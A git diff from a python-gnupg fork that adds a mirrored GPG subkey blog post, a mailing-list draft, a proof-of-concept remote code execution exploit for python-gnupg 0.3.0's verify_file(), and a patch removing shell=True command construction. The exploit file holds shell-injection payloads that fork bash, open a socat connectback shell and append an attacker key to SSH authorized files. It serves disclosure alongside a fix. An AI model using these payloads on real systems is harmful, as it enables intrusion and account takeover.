+/tmp/gnupg/secring.gpg
+-----------------------
+sec#  1024D/AE14BF43 2009-04-13
+uid                  ______ <______@______.__>
+ssb   2048g/56B47206 2009-04-13
+ssb   1024D/56FB4157 2009-04-13
+
+

The “sec#” output indicates that the key material is not present.

+

Note that you can combine this trick with the multiple-passwords trick mentioned above. I personally have a password for my master DSA key, and another password for my current DSA and ElGamal key.

+

Migrating keys

+

You can also migrate subkeys from one master key to another. This is not as simple as the multiple-passwords trick, since the signatures that bind the subkey to the master key need to be changed as well. You can even change a master DSA key into a DSA subkey! This page (local mirror) goes into the gory details.

+
+ + +
+ + +
+

One Comment

+ +
    + + +
  1. + +
  2. + + + +
+ + + +

Leave a Reply

+ + +
+ + +

+

+ +

+

+ +

+

+ + + + +

+ +

+ +

+

+ + + +

+
+ + +
+ + +
+ + +
+ +
+ + + diff --git a/docs/to-monkeysphere-list b/docs/to-monkeysphere-list new file mode 100644 index 0000000..8634615 --- /dev/null +++ b/docs/to-monkeysphere-list @@ -0,0 +1,34 @@ +1) I'm going to package it on pypi, and hopefully Debian as well. I'm sure + you've noticed, but there's gpgpy, python-gnupg, pygpg, openpgpy, + python-gpgme, pyme, and I don't even know what else. The namespace is pretty + crowded, and I'm not sure if I should continue to use 'python-gnupg' because + mine is fairly distinct from upstream (and upstream hasn't responded, though + they did make a new release a couple months ago duplicating some of my + work). Should I change the name? Do you have any ideas for names? + +2) If anyone plans to use my version of python-gnupg, is there anything missing + that I should add, or parts of the API that are awkward? (This is one of the + things I'm finishing up now.) I don't want to add huge features now, but if + it was something like "make be available + as an attribute of the result object of " then that is + quite doable. + +I just read through monkeysign/msign-cli and monkeysign/msign, and I'm glad +there is a better version of my +written-during-a-ragequit-on-the-amount-of-typing-required-to-certify-a-gpg-key +script. Which is here[1], and not useful to you -- monkeysign is better. + +There is also a script I use for uploading a timestamped, signed copy of my +primary public key and OTR fingerprints,[2] which might be useful, dkg has +suggested that it "get published properly" -- which I took to mean putting it +in caff. I don't particularly care where it goes, as long as no one else has to +write the same thing again. Although I should revise it to include multiple OTR +fingerprint (and probably other identity based key material, like a server's +SSL fingerprint), and also to remove the annoying url-shortened link at L91. + + + +[0]: https://leap.se +[1]: https://code.patternsinthevoid.net/?p=scripts.git;a=blob;f=keysign;h=a576e32c5d130f1ad6edf38632a51c60e1d9f023;hb=HEAD +[2]: https://code.patternsinthevoid.net/?p=scripts.git;a=blob;f=gpg_key_to_web;h=36a63eeb6a75063edbafbf93c94397439cc1c02e;hb=HEAD + diff --git a/docs/upstream-python-gnupg-POC-exploit.py b/docs/upstream-python-gnupg-POC-exploit.py new file mode 100644 index 0000000..4bdc336 --- /dev/null +++ b/docs/upstream-python-gnupg-POC-exploit.py @@ -0,0 +1,120 @@ +#!/usr/bin/env python +#-*- coding: utf-8 -*- +''' +python-gnupg-exploit.py +----------------------- +Remote code execution exploit for python-gnupg-0.3.0 gnupg.GPG.verify_file() +with a simple connectback call to a waiting server. Written on a train, +homeless in europe. Eurotrash like hell. + +You *absolutely* should run this in a virtualenv, and since this POC only runs +on localhost, you should probably bring down all other network interfaces +while playing with it, since by default it forks a connectback shell for every +TCP connection to localhost:8080. + +To run this POC, you should obtain the source for python-gnupg, copy this file +into the python-gnupg source directory, and then navigate into it: + + $ sudo apt-get source python-gnupg + $ cd python-gnupg-0.3.0/ + $ mv ./ + +To run the server half, do: + + $ python ./python-gnupg-exploit.py mallory + + it just listens on 8080 on localhost and lets you type stuff or pipe +whatever you want into the connection. After that, in another terminal, you +can do: + + $ python ./python-gnupg-exploit.py alice + + to run the the exploit, which connects to your waiting mallory server and +forks off a shell in a separate process. + +You can exploit gpg.GPG.verify_file() by calling it with +data_filename="\"\"" and the inner set of escaped double quotes are +important. You'll have to be tricky and find ways to not allow your code to +contain spaces, but it's the default system shell running under the UID and +GID of the parent caller for Python interpreter. It's even nicely in it's own +threading.Thread(), provided by gnupg.GPG._collect_output(). + +@authors: Isis Agora Lovecruft, 0x2cdb8b35 + All of the other Leap Encryption Access Project Python developers +@date: 7 February 2013 +@license: WTFPL, see [http://wtfpl.org/] +@copyright: ? 2013 Isis Lovecruft +''' + +from os import getcwd, path + +import gnupg +import sys + + +def usage(): + """Because dying should be about sending a message.""" + msg = "You need to download the source for python-gnupg before using this! " + msg += "Please try again after placing this file in the python-gnupg-0.3.0/" + msg += " directory. See the docstring for this file if you need more help." + msg += "\nExiting..." + raise SystemExit(msg) + +class Alice(object): + """Client code.""" + + def __init__(self, file=None): + here = getcwd() + self.gpg = gnupg.GPG(gnupghome=here) + self.log = path.join(here, 'alice.log') + + if file is not None: + self.file = file + else: + ## this is probably equivalent to saying "eat your heart out, + ## gnupg"... + self.file = path.join(getcwd(), 'LICENSE') + + def exploit(self, shellcode=None): + """POC example.""" + bad = None + with open(self.file) as worse: + bad = self.gpg.verify_file(worse, shellcode) + return bad + + def code_exec(self): + """This forks a local bash shell.""" + self.exploit("\"&coproc /bin/bash\"") + + def remote_code_exec(self): + """ + You know that part in The Matrix where Neo is sleeping on his + keyboard, and then Trinity types stuff on his terminal? This does + that. + """ + client = ("\"&`socat -d -d -d -d -lf " + self.log + + " - TCP-CONNECT:localost:8080,crnl`\"") + self.exploit(client) + + def ssh_append(self): + """ + This appends mallory's id_rsa.pub to alice's authorized_hosts file. + """ + append = ("\"&`socat -d -d -d -d -lf " + alice_log + + " OPEN:" + path.expanduser('~/.ssh/authorized_hosts') + + ",creat,append,end-close " + + "TCP-CONNECT:localhost:8080,reuseaddr,retry=3,fork`\"") + self.exploit(append) + +if __name__ == "__main__": + + ## don't run if they didn't follow the instructions: + here = getcwd() + if not here.endswith('python-gnupg-0.3.0'): + usage() + else: + print "To run the corresponding listener, in another shell do:\n" + print " $ socat -d -d -d -d -lf mallory.log - \ " + print " TCP-LISTEN:8080,reuseaddr,fork" + alice = Alice() + alice.remote_code_exec() diff --git a/gnupg/_meta.py b/gnupg/_meta.py index f11310c..3aafacd 100644 --- a/gnupg/_meta.py +++ b/gnupg/_meta.py @@ -31,7 +31,9 @@ import encodings ## See https://code.patternsinthevoid.net/?p=android-locale-hack.git import locale import os +import platform import psutil +import shlex import subprocess import sys import threading @@ -505,9 +507,16 @@ class GPGBase(object): """ ## see http://docs.python.org/2/library/subprocess.html#converting-an\ ## -argument-sequence-to-a-string-on-windows - cmd = ' '.join(self._make_args(args, passphrase)) + cmd = shlex.split(' '.join(self._make_args(args, passphrase))) log.debug("Sending command to GnuPG process:%s%s" % (os.linesep, cmd)) - return subprocess.Popen(cmd, shell=True, stdin=subprocess.PIPE, + + if platform.system() == "Windows": + # TODO figure out what the hell is going on there. + expand_shell = True + else: + expand_shell = False + + return subprocess.Popen(cmd, shell=expand_shell, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, env={'LANGUAGE': 'en'}) @@ -757,10 +766,10 @@ class GPGBase(object): **recipients** keys. If False, display trust warnings. (default: True) - :param str output: The output file to write to. If not specified, the - encrypted output is returned, and thus should be - stored as an object in Python. For example: - + :type output: str or file-like object + :param output: The output file to write to. If not specified, the + encrypted output is returned, and thus should be stored + as an object in Python. For example: >>> import shutil >>> import gnupg @@ -799,17 +808,23 @@ class GPGBase(object): """ args = [] + ## FIXME: GnuPG appears to ignore the --output directive when being + ## programmatically driven. We'll handle the IO ourselves to fix this + ## for now. + output_filename = None if output: if getattr(output, 'fileno', None) is not None: ## avoid overwrite confirmation message - if getattr(output, 'name', None) is None: - if os.path.exists(output): - os.remove(output) - args.append('--output %s' % output) - else: + if getattr(output, 'name', None) is not None: + output_filename = output.name if os.path.exists(output.name): os.remove(output.name) - args.append('--output %s' % output.name) + #args.append('--output %s' % output.name) + else: + output_filename = output + if os.path.exists(output): + os.remove(output) + #args.append('--output %s' % output) if armor: args.append('--armor') if always_trust: args.append('--always-trust') @@ -868,4 +883,12 @@ class GPGBase(object): self._handle_io(args, data, result, passphrase=passphrase, binary=True) log.debug("\n%s" % result.data) + + if output_filename: + log.info("Writing encrypted output to file: %s" % output_filename) + with open(output_filename, 'w+') as fh: + fh.write(result.data) + fh.flush() + log.info("Encrypted output written successfully.") + return result diff --git a/gnupg/_version.py b/gnupg/_version.py index f9859c5..1a0cb9d 100644 --- a/gnupg/_version.py +++ b/gnupg/_version.py @@ -4,8 +4,8 @@ # unpacked source archive. Distribution tarballs contain a pre-generated copy # of this file. -version_version = '1.2.6-6-g6fa8b59' -version_full = '6fa8b59d33ff573a988a8195bd513526feb81af2' +version_version = '1.3.1' +version_full = '87928205a87afc66779b9760df039642eed291b2' def get_versions(default={}, verbose=False): return {'version': version_version, 'full': version_full} diff --git a/setup.py b/setup.py index f21bc75..addfaa4 100644 --- a/setup.py +++ b/setup.py @@ -8,12 +8,12 @@ # © 2008-2012 Vinay Sajip # © 2005 Steve Traugott # © 2004 A.M. Kuchling -# +# # This program is free software: you can redistribute it and/or modify it # under the terms of the GNU General Public License as published by the Free # Software Foundation, either version 3 of the License, or (at your option) # any later version. -# +# # This program is distributed in the hope that it will be useful, but WITHOUT # ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or # FITNESS FOR A PARTICULAR PURPOSE. See the included LICENSE file for details. -- cgit v1.2.3